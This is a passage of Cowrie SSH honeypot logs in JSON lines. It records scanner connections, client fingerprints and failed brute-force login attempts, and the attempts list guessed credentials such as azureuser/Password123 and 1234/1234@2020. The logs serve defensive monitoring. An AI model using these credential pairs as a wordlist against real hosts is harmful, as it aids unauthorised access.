305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:30.414699Z","src_ip":"159.203.92.129","session":"5d02fb47db70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2018","message":"login attempt [1234/1234@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:31.108893Z","src_ip":"159.203.92.129","session":"5d02fb47db70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:32.539087Z","src_ip":"159.203.92.129","session":"5d02fb47db70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":48410,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9aafe07e88","protocol":"ssh","message":"New connection: 171.25.158.70:48410 (10.17.0.5:22) [session: ae9aafe07e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:34.000488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:34.005566Z","src_ip":"171.25.158.70","session":"ae9aafe07e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:34.114144Z","src_ip":"171.25.158.70","session":"ae9aafe07e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password123","message":"login attempt [azureuser/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:34.611443Z","src_ip":"171.25.158.70","session":"ae9aafe07e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:35.723890Z","src_ip":"171.25.158.70","session":"ae9aafe07e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38008,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b4876fea5f8","protocol":"ssh","message":"New connection: 159.203.92.129:38008 (159.203.135.109:22) [session: 3b4876fea5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:54.255364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:54.342487Z","src_ip":"159.203.92.129","session":"3b4876fea5f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:54.346311Z","src_ip":"159.203.92.129","session":"3b4876fea5f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2019","message":"login attempt [1234/1234@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:54.824600Z","src_ip":"159.203.92.129","session":"3b4876fea5f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:32:56.084517Z","src_ip":"159.203.92.129","session":"3b4876fea5f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":48706,"dst_ip":"10.17.0.5","dst_port":22,"session":"dddb91a42afc","protocol":"ssh","message":"New connection: 171.25.158.70:48706 (10.17.0.5:22) [session: dddb91a42afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:25.922510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:25.927362Z","src_ip":"171.25.158.70","session":"dddb91a42afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:26.097512Z","src_ip":"171.25.158.70","session":"dddb91a42afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"Abcd1234","message":"login attempt [git/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:26.609247Z","src_ip":"171.25.158.70","session":"dddb91a42afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:27.722621Z","src_ip":"171.25.158.70","session":"dddb91a42afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39850,"dst_ip":"159.203.135.109","dst_port":22,"session":"44035abe69d4","protocol":"ssh","message":"New connection: 159.203.92.129:39850 (159.203.135.109:22) [session: 44035abe69d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:30.410269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:30.415091Z","src_ip":"159.203.92.129","session":"44035abe69d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:30.420549Z","src_ip":"159.203.92.129","session":"44035abe69d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2020","message":"login attempt [1234/1234@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:30.432748Z","src_ip":"159.203.92.129","session":"44035abe69d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:33:31.450490Z","src_ip":"159.203.92.129","session":"44035abe69d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51400,"dst_ip":"159.203.135.109","dst_port":22,"session":"53aeba9b9fe1","protocol":"ssh","message":"New connection: 159.203.92.129:51400 (159.203.135.109:22) [session: 53aeba9b9fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:07.353256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:07.358474Z","src_ip":"159.203.92.129","session":"53aeba9b9fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:07.362723Z","src_ip":"159.203.92.129","session":"53aeba9b9fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2021","message":"login attempt [1234/1234@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:07.374322Z","src_ip":"159.203.92.129","session":"53aeba9b9fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:08.381018Z","src_ip":"159.203.92.129","session":"53aeba9b9fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":57344,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a34bd851f62","protocol":"ssh","message":"New connection: 171.25.158.70:57344 (10.17.0.5:22) [session: 1a34bd851f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:18.112671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:18.117697Z","src_ip":"171.25.158.70","session":"1a34bd851f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:18.226283Z","src_ip":"171.25.158.70","session":"1a34bd851f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft123456","message":"login attempt [minecraft/minecraft123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:18.711422Z","src_ip":"171.25.158.70","session":"1a34bd851f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:19.823238Z","src_ip":"171.25.158.70","session":"1a34bd851f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":34144,"dst_ip":"10.17.0.5","dst_port":22,"session":"588248db29d6","protocol":"ssh","message":"New connection: 27.119.7.6:34144 (10.17.0.5:22) [session: 588248db29d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:26.208363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:26.219489Z","src_ip":"27.119.7.6","session":"588248db29d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:26.396293Z","src_ip":"27.119.7.6","session":"588248db29d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"asd","message":"login attempt [administrator/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:27.107724Z","src_ip":"27.119.7.6","session":"588248db29d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:28.291399Z","src_ip":"27.119.7.6","session":"588248db29d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55744,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee38f8325ff","protocol":"ssh","message":"New connection: 159.203.92.129:55744 (159.203.135.109:22) [session: fee38f8325ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:46.084783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:34:46.089142Z","src_ip":"159.203.92.129","session":"fee38f8325ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp